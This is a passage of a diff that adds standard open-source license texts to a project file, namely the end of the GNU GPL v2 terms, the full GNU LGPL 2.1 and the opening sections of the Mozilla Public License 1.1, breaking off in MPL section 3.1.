+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                   GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+                           NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+                    END OF TERMS AND CONDITIONS
+
+
+Appendix B: The LGPL License
+============================
+
+                 GNU LESSER GENERAL PUBLIC LICENSE
+                      Version 2.1, February 1999
+
+ Copyright (C) 1991, 1999 Free Software Foundation, Inc.
+     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+[This is the first released version of the Lesser GPL.  It also counts
+ as the successor of the GNU Library Public License, version 2, hence
+ the version number 2.1.]
+
+                           Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+Licenses are intended to guarantee your freedom to share and change
+free software--to make sure the software is free for all its users.
+
+  This license, the Lesser General Public License, applies to some
+specially designated software packages--typically libraries--of the
+Free Software Foundation and other authors who decide to use it.  You
+can use it too, but we suggest you first think carefully about whether
+this license or the ordinary General Public License is the better
+strategy to use in any particular case, based on the explanations below.
+
+  When we speak of free software, we are referring to freedom of use,
+not price.  Our General Public Licenses are designed to make sure that
+you have the freedom to distribute copies of free software (and charge
+for this service if you wish); that you receive source code or can get
+it if you want it; that you can change the software and use pieces of
+it in new free programs; and that you are informed that you can do
+these things.
+
+  To protect your rights, we need to make restrictions that forbid
+distributors to deny you these rights or to ask you to surrender these
+rights.  These restrictions translate to certain responsibilities for
+you if you distribute copies of the library or if you modify it.
+
+  For example, if you distribute copies of the library, whether gratis
+or for a fee, you must give the recipients all the rights that we gave
+you.  You must make sure that they, too, receive or can get the source
+code.  If you link other code with the library, you must provide
+complete object files to the recipients, so that they can relink them
+with the library after making changes to the library and recompiling
+it.  And you must show them these terms so they know their rights.
+
+  We protect your rights with a two-step method: (1) we copyright the
+library, and (2) we offer you this license, which gives you legal
+permission to copy, distribute and/or modify the library.
+
+  To protect each distributor, we want to make it very clear that
+there is no warranty for the free library.  Also, if the library is
+modified by someone else and passed on, the recipients should know
+that what they have is not the original version, so that the original
+author's reputation will not be affected by problems that might be
+introduced by others.
+
+  Finally, software patents pose a constant threat to the existence of
+any free program.  We wish to make sure that a company cannot
+effectively restrict the users of a free program by obtaining a
+restrictive license from a patent holder.  Therefore, we insist that
+any patent license obtained for a version of the library must be
+consistent with the full freedom of use specified in this license.
+
+  Most GNU software, including some libraries, is covered by the
+ordinary GNU General Public License.  This license, the GNU Lesser
+General Public License, applies to certain designated libraries, and
+is quite different from the ordinary General Public License.  We use
+this license for certain libraries in order to permit linking those
+libraries into non-free programs.
+
+  When a program is linked with a library, whether statically or using
+a shared library, the combination of the two is legally speaking a
+combined work, a derivative of the original library.  The ordinary
+General Public License therefore permits such linking only if the
+entire combination fits its criteria of freedom.  The Lesser General
+Public License permits more lax criteria for linking other code with
+the library.
+
+  We call this license the "Lesser" General Public License because it
+does Less to protect the user's freedom than the ordinary General
+Public License.  It also provides other free software developers Less
+of an advantage over competing non-free programs.  These disadvantages
+are the reason we use the ordinary General Public License for many
+libraries.  However, the Lesser license provides advantages in certain
+special circumstances.
+
+  For example, on rare occasions, there may be a special need to
+encourage the widest possible use of a certain library, so that it becomes
+a de-facto standard.  To achieve this, non-free programs must be
+allowed to use the library.  A more frequent case is that a free
+library does the same job as widely used non-free libraries.  In this
+case, there is little to gain by limiting the free library to free
+software only, so we use the Lesser General Public License.
+
+  In other cases, permission to use a particular library in non-free
+programs enables a greater number of people to use a large body of
+free software.  For example, permission to use the GNU C Library in
+non-free programs enables many more people to use the whole GNU
+operating system, as well as its variant, the GNU/Linux operating
+system.
+
+  Although the Lesser General Public License is Less protective of the
+users' freedom, it does ensure that the user of a program that is
+linked with the Library has the freedom and the wherewithal to run
+that program using a modified version of the Library.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.  Pay close attention to the difference between a
+"work based on the library" and a "work that uses the library".  The
+former contains code derived from the library, whereas the latter must
+be combined with the library in order to run.
+
+                 GNU LESSER GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License Agreement applies to any software library or other
+program which contains a notice placed by the copyright holder or
+other authorized party saying it may be distributed under the terms of
+this Lesser General Public License (also called "this License").
+Each licensee is addressed as "you".
+
+  A "library" means a collection of software functions and/or data
+prepared so as to be conveniently linked with application programs
+(which use some of those functions and data) to form executables.
+
+  The "Library", below, refers to any such software library or work
+which has been distributed under these terms.  A "work based on the
+Library" means either the Library or any derivative work under
+copyright law: that is to say, a work containing the Library or a
+portion of it, either verbatim or with modifications and/or translated
+straightforwardly into another language.  (Hereinafter, translation is
+included without limitation in the term "modification".)
+
+  "Source code" for a work means the preferred form of the work for
+making modifications to it.  For a library, complete source code means
+all the source code for all modules it contains, plus any associated
+interface definition files, plus the scripts used to control compilation
+and installation of the library.
+
+  Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running a program using the Library is not restricted, and output from
+such a program is covered only if its contents constitute a work based
+on the Library (independent of the use of the Library in a tool for
+writing it).  Whether that is true depends on what the Library does
+and what the program that uses the Library does.
+
+  1. You may copy and distribute verbatim copies of the Library's
+complete source code as you receive it, in any medium, provided that
+you conspicuously and appropriately publish on each copy an
+appropriate copyright notice and disclaimer of warranty; keep intact
+all the notices that refer to this License and to the absence of any
+warranty; and distribute a copy of this License along with the
+Library.
+
+  You may charge a fee for the physical act of transferring a copy,
+and you may at your option offer warranty protection in exchange for a
+fee.
+
+  2. You may modify your copy or copies of the Library or any portion
+of it, thus forming a work based on the Library, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) The modified work must itself be a software library.
+
+    b) You must cause the files modified to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    c) You must cause the whole of the work to be licensed at no
+    charge to all third parties under the terms of this License.
+
+    d) If a facility in the modified Library refers to a function or a
+    table of data to be supplied by an application program that uses
+    the facility, other than as an argument passed when the facility
+    is invoked, then you must make a good faith effort to ensure that,
+    in the event an application does not supply such function or
+    table, the facility still operates, and performs whatever part of
+    its purpose remains meaningful.
+
+    (For example, a function in a library to compute square roots has
+    a purpose that is entirely well-defined independent of the
+    application.  Therefore, Subsection 2d requires that any
+    application-supplied function or table used by this function must
+    be optional: if the application does not supply it, the square
+    root function must still compute square roots.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Library,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Library, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote
+it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Library.
+
+In addition, mere aggregation of another work not based on the Library
+with the Library (or with a work based on the Library) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may opt to apply the terms of the ordinary GNU General Public
+License instead of this License to a given copy of the Library.  To do
+this, you must alter all the notices that refer to this License, so
+that they refer to the ordinary GNU General Public License, version 2,
+instead of to this License.  (If a newer version than version 2 of the
+ordinary GNU General Public License has appeared, then you can specify
+that version instead if you wish.)  Do not make any other change in
+these notices.
+
+  Once this change is made in a given copy, it is irreversible for
+that copy, so the ordinary GNU General Public License applies to all
+subsequent copies and derivative works made from that copy.
+
+  This option is useful when you wish to copy part of the code of
+the Library into a program that is not a library.
+
+  4. You may copy and distribute the Library (or a portion or
+derivative of it, under Section 2) in object code or executable form
+under the terms of Sections 1 and 2 above provided that you accompany
+it with the complete corresponding machine-readable source code, which
+must be distributed under the terms of Sections 1 and 2 above on a
+medium customarily used for software interchange.
+
+  If distribution of object code is made by offering access to copy
+from a designated place, then offering equivalent access to copy the
+source code from the same place satisfies the requirement to
+distribute the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  5. A program that contains no derivative of any portion of the
+Library, but is designed to work with the Library by being compiled or
+linked with it, is called a "work that uses the Library".  Such a
+work, in isolation, is not a derivative work of the Library, and
+therefore falls outside the scope of this License.
+
+  However, linking a "work that uses the Library" with the Library
+creates an executable that is a derivative of the Library (because it
+contains portions of the Library), rather than a "work that uses the
+library".  The executable is therefore covered by this License.
+Section 6 states terms for distribution of such executables.
+
+  When a "work that uses the Library" uses material from a header file
+that is part of the Library, the object code for the work may be a
+derivative work of the Library even though the source code is not.
+Whether this is true is especially significant if the work can be
+linked without the Library, or if the work is itself a library.  The
+threshold for this to be true is not precisely defined by law.
+
+  If such an object file uses only numerical parameters, data
+structure layouts and accessors, and small macros and small inline
+functions (ten lines or less in length), then the use of the object
+file is unrestricted, regardless of whether it is legally a derivative
+work.  (Executables containing this object code plus portions of the
+Library will still fall under Section 6.)
+
+  Otherwise, if the work is a derivative of the Library, you may
+distribute the object code for the work under the terms of Section 6.
+Any executables containing that work also fall under Section 6,
+whether or not they are linked directly with the Library itself.
+
+  6. As an exception to the Sections above, you may also combine or
+link a "work that uses the Library" with the Library to produce a
+work containing portions of the Library, and distribute that work
+under terms of your choice, provided that the terms permit
+modification of the work for the customer's own use and reverse
+engineering for debugging such modifications.
+
+  You must give prominent notice with each copy of the work that the
+Library is used in it and that the Library and its use are covered by
+this License.  You must supply a copy of this License.  If the work
+during execution displays copyright notices, you must include the
+copyright notice for the Library among them, as well as a reference
+directing the user to the copy of this License.  Also, you must do one
+of these things:
+
+    a) Accompany the work with the complete corresponding
+    machine-readable source code for the Library including whatever
+    changes were used in the work (which must be distributed under
+    Sections 1 and 2 above); and, if the work is an executable linked
+    with the Library, with the complete machine-readable "work that
+    uses the Library", as object code and/or source code, so that the
+    user can modify the Library and then relink to produce a modified
+    executable containing the modified Library.  (It is understood
+    that the user who changes the contents of definitions files in the
+    Library will not necessarily be able to recompile the application
+    to use the modified definitions.)
+
+    b) Use a suitable shared library mechanism for linking with the
+    Library.  A suitable mechanism is one that (1) uses at run time a
+    copy of the library already present on the user's computer system,
+    rather than copying library functions into the executable, and (2)
+    will operate properly with a modified version of the library, if
+    the user installs one, as long as the modified version is
+    interface-compatible with the version that the work was made with.
+
+    c) Accompany the work with a written offer, valid for at
+    least three years, to give the same user the materials
+    specified in Subsection 6a, above, for a charge no more
+    than the cost of performing this distribution.
+
+    d) If distribution of the work is made by offering access to copy
+    from a designated place, offer equivalent access to copy the above
+    specified materials from the same place.
+
+    e) Verify that the user has already received a copy of these
+    materials or that you have already sent this user a copy.
+
+  For an executable, the required form of the "work that uses the
+Library" must include any data and utility programs needed for
+reproducing the executable from it.  However, as a special exception,
+the materials to be distributed need not include anything that is
+normally distributed (in either source or binary form) with the major
+components (compiler, kernel, and so on) of the operating system on
+which the executable runs, unless that component itself accompanies
+the executable.
+
+  It may happen that this requirement contradicts the license
+restrictions of other proprietary libraries that do not normally
+accompany the operating system.  Such a contradiction means you cannot
+use both them and the Library together in an executable that you
+distribute.
+
+  7. You may place library facilities that are a work based on the
+Library side-by-side in a single library together with other library
+facilities not covered by this License, and distribute such a combined
+library, provided that the separate distribution of the work based on
+the Library and of the other library facilities is otherwise
+permitted, and provided that you do these two things:
+
+    a) Accompany the combined library with a copy of the same work
+    based on the Library, uncombined with any other library
+    facilities.  This must be distributed under the terms of the
+    Sections above.
+
+    b) Give prominent notice with the combined library of the fact
+    that part of it is a work based on the Library, and explaining
+    where to find the accompanying uncombined form of the same work.
+
+  8. You may not copy, modify, sublicense, link with, or distribute
+the Library except as expressly provided under this License.  Any
+attempt otherwise to copy, modify, sublicense, link with, or
+distribute the Library is void, and will automatically terminate your
+rights under this License.  However, parties who have received copies,
+or rights, from you under this License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+  9. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Library or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Library (or any work based on the
+Library), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Library or works based on it.
+
+  10. Each time you redistribute the Library (or any work based on the
+Library), the recipient automatically receives a license from the
+original licensor to copy, distribute, link with or modify the Library
+subject to these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties with
+this License.
+
+  11. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Library at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Library by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Library.
+
+If any portion of this section is held invalid or unenforceable under any
+particular circumstance, the balance of the section is intended to apply,
+and the section as a whole is intended to apply in other circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  12. If the distribution and/or use of the Library is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Library under this License may add
+an explicit geographical distribution limitation excluding those countries,
+so that distribution is permitted only in or among countries not thus
+excluded.  In such case, this License incorporates the limitation as if
+written in the body of this License.
+
+  13. The Free Software Foundation may publish revised and/or new
+versions of the Lesser General Public License from time to time.
+Such new versions will be similar in spirit to the present version,
+but may differ in detail to address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Library
+specifies a version number of this License which applies to it and
+"any later version", you have the option of following the terms and
+conditions either of that version or of any later version published by
+the Free Software Foundation.  If the Library does not specify a
+license version number, you may choose any version ever published by
+the Free Software Foundation.
+
+  14. If you wish to incorporate parts of the Library into other free
+programs whose distribution conditions are incompatible with these,
+write to the author to ask for permission.  For software which is
+copyrighted by the Free Software Foundation, write to the Free
+Software Foundation; we sometimes make exceptions for this.  Our
+decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing
+and reuse of software generally.
+
+                           NO WARRANTY
+
+  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
+WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
+EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
+OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
+KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
+LIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
+WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
+AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
+FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
+CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
+LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
+RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
+FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
+SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
+DAMAGES.
+
+                    END OF TERMS AND CONDITIONS
+
+
+Appendix C: The MPL License
+===========================
+
+                          MOZILLA PUBLIC LICENSE
+                                Version 1.1
+
+                              ---------------
+
+1. Definitions.
+
+     1.0.1. "Commercial Use" means distribution or otherwise making the
+     Covered Code available to a third party.
+
+     1.1. "Contributor" means each entity that creates or contributes to
+     the creation of Modifications.
+
+     1.2. "Contributor Version" means the combination of the Original
+     Code, prior Modifications used by a Contributor, and the Modifications
+     made by that particular Contributor.
+
+     1.3. "Covered Code" means the Original Code or Modifications or the
+     combination of the Original Code and Modifications, in each case
+     including portions thereof.
+
+     1.4. "Electronic Distribution Mechanism" means a mechanism generally
+     accepted in the software development community for the electronic
+     transfer of data.
+
+     1.5. "Executable" means Covered Code in any form other than Source
+     Code.
+
+     1.6. "Initial Developer" means the individual or entity identified
+     as the Initial Developer in the Source Code notice required by Exhibit
+     A.
+
+     1.7. "Larger Work" means a work which combines Covered Code or
+     portions thereof with code not governed by the terms of this License.
+
+     1.8. "License" means this document.
+
+     1.8.1. "Licensable" means having the right to grant, to the maximum
+     extent possible, whether at the time of the initial grant or
+     subsequently acquired, any and all of the rights conveyed herein.
+
+     1.9. "Modifications" means any addition to or deletion from the
+     substance or structure of either the Original Code or any previous
+     Modifications. When Covered Code is released as a series of files, a
+     Modification is:
+          A. Any addition to or deletion from the contents of a file
+          containing Original Code or previous Modifications.
+
+          B. Any new file that contains any part of the Original Code or
+          previous Modifications.
+
+     1.10. "Original Code" means Source Code of computer software code
+     which is described in the Source Code notice required by Exhibit A as
+     Original Code, and which, at the time of its release under this
+     License is not already Covered Code governed by this License.
+
+     1.10.1. "Patent Claims" means any patent claim(s), now owned or
+     hereafter acquired, including without limitation,  method, process,
+     and apparatus claims, in any patent Licensable by grantor.
+
+     1.11. "Source Code" means the preferred form of the Covered Code for
+     making modifications to it, including all modules it contains, plus
+     any associated interface definition files, scripts used to control
+     compilation and installation of an Executable, or source code
+     differential comparisons against either the Original Code or another
+     well known, available Covered Code of the Contributor's choice. The
+     Source Code can be in a compressed or archival form, provided the
+     appropriate decompression or de-archiving software is widely available
+     for no charge.
+
+     1.12. "You" (or "Your")  means an individual or a legal entity
+     exercising rights under, and complying with all of the terms of, this
+     License or a future version of this License issued under Section 6.1.
+     For legal entities, "You" includes any entity which controls, is
+     controlled by, or is under common control with You. For purposes of
+     this definition, "control" means (a) the power, direct or indirect,
+     to cause the direction or management of such entity, whether by
+     contract or otherwise, or (b) ownership of more than fifty percent
+     (50%) of the outstanding shares or beneficial ownership of such
+     entity.
+
+2. Source Code License.
+
+     2.1. The Initial Developer Grant.
+     The Initial Developer hereby grants You a world-wide, royalty-free,
+     non-exclusive license, subject to third party intellectual property
+     claims:
+          (a)  under intellectual property rights (other than patent or
+          trademark) Licensable by Initial Developer to use, reproduce,
+          modify, display, perform, sublicense and distribute the Original
+          Code (or portions thereof) with or without Modifications, and/or
+          as part of a Larger Work; and
+
+          (b) under Patents Claims infringed by the making, using or
+          selling of Original Code, to make, have made, use, practice,
+          sell, and offer for sale, and/or otherwise dispose of the
+          Original Code (or portions thereof).
+
+          (c) the licenses granted in this Section 2.1(a) and (b) are
+          effective on the date Initial Developer first distributes
+          Original Code under the terms of this License.
+
+          (d) Notwithstanding Section 2.1(b) above, no patent license is
+          granted: 1) for code that You delete from the Original Code; 2)
+          separate from the Original Code;  or 3) for infringements caused
+          by: i) the modification of the Original Code or ii) the
+          combination of the Original Code with other software or devices.
+
+     2.2. Contributor Grant.
+     Subject to third party intellectual property claims, each Contributor
+     hereby grants You a world-wide, royalty-free, non-exclusive license
+
+          (a)  under intellectual property rights (other than patent or
+          trademark) Licensable by Contributor, to use, reproduce, modify,
+          display, perform, sublicense and distribute the Modifications
+          created by such Contributor (or portions thereof) either on an
+          unmodified basis, with other Modifications, as Covered Code
+          and/or as part of a Larger Work; and
+
+          (b) under Patent Claims infringed by the making, using, or
+          selling of  Modifications made by that Contributor either alone
+          and/or in combination with its Contributor Version (or portions
+          of such combination), to make, use, sell, offer for sale, have
+          made, and/or otherwise dispose of: 1) Modifications made by that
+          Contributor (or portions thereof); and 2) the combination of
+          Modifications made by that Contributor with its Contributor
+          Version (or portions of such combination).
+
+          (c) the licenses granted in Sections 2.2(a) and 2.2(b) are
+          effective on the date Contributor first makes Commercial Use of
+          the Covered Code.
+
+          (d)    Notwithstanding Section 2.2(b) above, no patent license is
+          granted: 1) for any code that Contributor has deleted from the
+          Contributor Version; 2)  separate from the Contributor Version;
+          3)  for infringements caused by: i) third party modifications of
+          Contributor Version or ii)  the combination of Modifications made
+          by that Contributor with other software  (except as part of the
+          Contributor Version) or other devices; or 4) under Patent Claims
+          infringed by Covered Code in the absence of Modifications made by
+          that Contributor.
+
+3. Distribution Obligations.
+
+     3.1. Application of License.
+     The Modifications which You create or to which You contribute are
+     governed by the terms of this License, including without limitation
+     Section 2.2. The Source Code version of Covered Code may be
+     distributed only under the terms of this License or a future version
+     of this License released under Section 6.1, and You must include a
+     copy of this License with every copy of the Source Code You
+     distribute. You may not offer or impose any terms on any Source Code
+     version that alters or restricts the applicable version of this
